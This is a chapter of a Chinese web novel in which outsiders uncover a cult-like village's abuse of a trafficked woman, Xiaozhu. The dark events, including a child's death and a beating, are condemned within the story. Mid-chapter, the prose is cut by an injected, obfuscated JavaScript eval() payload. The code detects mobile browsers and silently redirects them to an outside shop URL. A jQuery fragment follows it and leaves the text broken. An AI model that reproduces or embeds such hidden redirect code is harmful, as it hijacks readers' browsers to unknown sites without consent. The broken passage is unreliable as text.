山下平原中，涂明彩如约而至。
但玄雀似乎来得比约好的时间还要早，坐在某块还算干燥的山石上，灵巧的手拨弄着柔韧的草，一只栩栩如生的小绿猫渐渐在他指间成型。
“小明姐姐！”
见少女的朦胧身影在薄雾中渐渐清晰起来，玄雀的眸子亮了亮。手中的东西还来不及放下，他就轻巧地从山石间跃下，三两步冲到她面前。
“小玄雀，”涂明彩揉了揉他蓬松柔软的头发，“你为什么想要在这里见面？”
他看起来有点沮丧，声音听上去闷闷的：“因为这里是蒲姐姐的地方，大祭司先生不会来的。”
是因为守格者的「禁域」吗？但之前平凡的书店所设的「禁域」只是在店内，为什么称这片山下平原都是蒲桃的地方呢？涂明彩有些困惑。
不过，现在不是考虑这些的时候。
涂明彩问道：“昨天那位就是大祭司先生吗？他看到你和我站在一起，好像很生气的样子。”
提到那个人，玄雀的语调明显变低：“嗯，他说怕我被别有用心的人带坏了，他这是为我好。”
“既然这样，那你今天怎么还约我见面呢？”
“小明姐姐又不是坏人！他总是说着为我好，其实就是独断专行！”玄雀忿忿不平地说着，将草织的小绿猫塞进她的怀里，拉起她的手，“谁稀罕待在那个破村子！走，我们去蒲姐姐那里玩。”
如此一来，涂明彩便与小竹打了个照面。
小竹回眸：“好久不见，小玄雀又长高了。”
女人眼圈发红，笑容有些酸涩。那身衣服虽打满补丁，却缝得针脚细密、布料平整，即使因长年累月的浆洗而发硬泛白，依然干净而得体。
玄雀乖巧地称呼道：“小竹姐姐！”
“我们玄雀真是个乖孩子，”小竹微微一笑，目光流转，看向他身边的陌生少女，“这位是？”
“来自外乡的涂明彩，”蒲桃言简意赅地介绍了一句，旋即对涂明彩暗示道，“小竹姑娘曾经也来自山外的世界，我想你们会有共同话题的。”
小竹，山柳巷四十七号的求助者，游戏主线的重要剧情人物。
涂明彩会意，友好地与她握手：“幸会。”
蒲桃走到玄雀身边，俯身低语：“今天这里的事情有点多，好孩子，可以帮帮蒲姐姐的忙吗？”
玄雀略带懵懂地点头：“啊？好的。”
蒲桃牵起他的小手：“那我们先走吧。”
一大一小的背影逐渐远去。
涂明彩斟酌着字句：“那张求救纸条……”
小竹干脆地承认道：“没错，就是我写的。我听说村里有新的外乡人，就想去集市碰碰运气，正好看到粉头发的女孩，就把纸条塞给她了。”
她瞧着女孩那身打扮，一看就不是本地人。
“她叫辛仪，她今天上午刚准备去你家拜访，没想到你正好不在家。还有，那张纸条上的字早就消失了，求助的内容都是她向我们转述的。”
小竹低垂着眉眼：“果然如此。”
“你早就预料到这种情况？”
“神木村虽然不乏识字之人，但有关神木的史书或地志却很少，都是一笔带过的赞誉之辞。我那日写下揭穿谎言的字条，内容也被无端抹去。”
涂明彩沉思片刻，道：“听你这么说，我觉得神木像是掌控着人们的思想和山村的信仰。”
“是。两年前我也写过类似的字条，盼望着有朝一日能向新的外来者传递讯息，当时字迹还不会消失。一次祝灵仪式过去，如今不同于往日。”
“文字的存亡，也是掌控思想的方式之一。”
小竹认可她的猜想：“你说得没错。我偶然听闻今年就是最后的祝灵仪式，神木即将苏醒。这些年在大祭司的蛊惑下，所有成年人都参加过仪式，他甚至罔顾旧规，连孩童也不打算放过了。”
一旦成功，所有人都将成为它的祭品。
“你还知道哪些关于祝灵仪式的信息？”
“我曾经远远瞧见过一次。护送者戴着傩戏的面具，送行者以血点睛纸人，铜钱串叮当作响。”
小竹的眼里透出恐惧，像是回到了那一天。
涂明彩：“神木的果实是他们采摘回来的吗？我看见家家户户都有，而且大街小巷都有香气。”
“是的，初次参加仪式的人会不习惯服用，但是参加过后就会迷恋上果实的味道，可以生食或是煎水。白日里人模人样，晚上就会变成怪物。”
涂明彩不语。
小竹顿了顿，继续说：“我的丈夫酗酒成性，每天对我非打即骂，还自认为他的‘收留’是仁至义尽。我还记得那天我半夜醒来，亲眼看见他变成的怪物活活掐死我可怜的幼女……吃了下去……”
“这是赤裸裸的谋杀！没有人阻止他吗？”
她轻轻笑一声：“邻居会围观，会拍手叫好，但更多是习以为常，仿佛这一切都是天经地义。”
就像钱瑶曾经痛斥的那样：你们都是凶手。
“你当初知道这里的真相吗？”
她的笑容无限凄凉：“我不知道，我没得选，你以为我是自愿来到神木村的吗？不！我是被骗来被拐来的！我是被卖到他们手上的一件商品！”
涂明彩怔怔地看着面前的女人。
眼前的女人像被耗尽生命力的残破人偶，但她才是真正的、鲜活的人，拥有着不屈的灵魂，而世代活在神木村的却是内里空洞的锈蚀傀儡。
“从来如此”，是他们恃俗行凶的惯用利器。
小竹伸手揭开严实的衣领，一条触目惊心的致命勒痕宛如毒蛇般盘踞在她颈间。
“我曾经逃至冰谷……”
与此同时，另一边。
“冰谷？”
叶绘杉惊讶道。
这倒是有些对上涂明彩的猜测了，冰谷看似独立于世外，却与神木村的尘封往事密切相关。
老奶奶压低声音：“是啊，本来四十七这个数字就不太吉利，又闹出来这种事，更是晦气了。”
叶绘杉看向辛仪，只见对方神色颇为凝重，微不可察地向她点点头，示意她继续追问下去。
“不就是离家出走而已，何来晦气一说？”
老奶奶摆摆手：“那可不是，搞得全村都知道陈家的女人不服管教，小陈当然丢不起这个人。他带着本家的伯叔兄弟去冰谷，亲自抓她回去，踹在地上连着抽几十鞭子！最后拿根绳子勒着她拖回家门口，好歹弄得他女人没了半条命。”
辛仪倒吸一口凉气，拳头紧握，隐忍未发。
叶绘杉听着都于心不忍，更无法理解，对方话语里为何带着鄙夷不屑、幸灾乐祸的意味。
叶绘杉尽量装出轻描淡写的模样，问道：“冰谷的环境应该很恶劣，她怎么会想到逃去那里？”
“她的性子就是轴。咱们村世世代代都供奉神木，这里的规矩都是神木所赐的传统，小陈好心收留她，村里的乡亲好心教导
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553969|204206||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她，谁知道她这么不领情！逃出去还不是自讨苦吃！”
辛叶二人沉默了。
老奶奶越说越激动：“生性不安分，净知道生些没用的拖油瓶，还好女娃死得早。要是我孙子娶到这样不争气的女人，真是愧对列祖列宗啊！”
这话倒是提醒她们了。
叶绘杉试探性地问：“小竹姐是受到丧女的打击，一时难以接受，想去女儿的埋骨地看看吧？”
“冰谷里埋着的不差一个两个，我看啊，年轻人就是太矫情，不知道往好的榜样学，”老人得意道，“像我孙媳妇又听话又孝顺，现在天天按土方子喝药，用不了多久，我就能抱上大胖小子了！”
辛仪眯起双眸，右手搭在了腰间的刀鞘上。
叶绘杉注意到这个动作，一手按住她的手背，在对方的耳畔轻声提醒：“不可冲动行事。”
辛仪扯了扯唇角：“你放心。”
这个村子是旧时代的遗物。
传统的观念根深蒂固，在人心底播下冷漠的种子，当这种子被血淋淋的事实所浇灌，就会生发出扭曲的藤蔓，束缚良知。
眼前的人只能算是助纣为虐的帮凶。
罪恶的源头是神木，却又不只是神木。冷漠的种子生长在神木村，却又不止生长在神木村。
尘封已久的回忆涌上心头，辛仪神色骤冷，握着刀柄的指节用力收拢，良久方才渐渐松开。
叶绘杉清楚辛仪的性格，当然知道对方的想法，其实，她心中藏着未曾宣之于口的秘密——
她和辛仪本该认识的。
从她见到辛仪的第一眼开始，她就认出来，这正是她素未谋面的幼时笔友。
在孤苦无依的孩提时代，她们以最原始的邮寄信件的方式交流，破碎的灵魂相连，从纸上洇出的墨香，缝补着彼此心中难以愈合的创伤。
她想象过辛仪左边眼角和右侧脸颊的黑痣，知道生气的前兆是微微眯起眼，问过爱好哪种口味的甜食，听说过辛仪长大后想染一头又甜又酷的粉发，还心心念念要报考洛城大学的金融系。
她记得信件的那一端，从未见过面的女孩。
在她的幻想里，无数次勾勒出对方的轮廓。
只是，她们已经失联了很多年。
后来，她改名为叶绘杉。
同是天涯沦落人，相逢何必重相识。
这一次，她可以选择体面出场，从容谢幕。
叶绘杉轻轻笑了笑。
辛仪搭在刀鞘上的手垂落回身侧，压住心中的火气，调整片刻，急促的呼吸终于渐复平缓。
叶绘杉将思绪重新放回话题中：“您刚刚提到的冰谷，我很好奇，可以听您详细说一说吗？”
“没什么好提的，就是被诅咒的不详之地。”
叶绘杉没有放弃：“村里为什么都这么说？”
“我听说上辈子不行善积德就会落下业根，今生投胎做女人，生来阴气缠身，这辈子就是相夫教子、偿还罪孽的命。尤其是外乡的女人，死后不得轻易埋进墓园，要由家里的男丁背去冰谷。”
辛仪看着她：“是吗？”
“这冰谷说来也怪，死的人多了，就越来越邪门，有人听到里面飘荡着哭声，还有人看到神秘的身影。据说啊，凝成了阴气很重的妖物——！”
就在此时，飞来横刀，扎进门框！
絮絮叨叨的话音戛然停止。
辛仪面无表情地摊开右手心：“不好意思，刚刚手滑了。”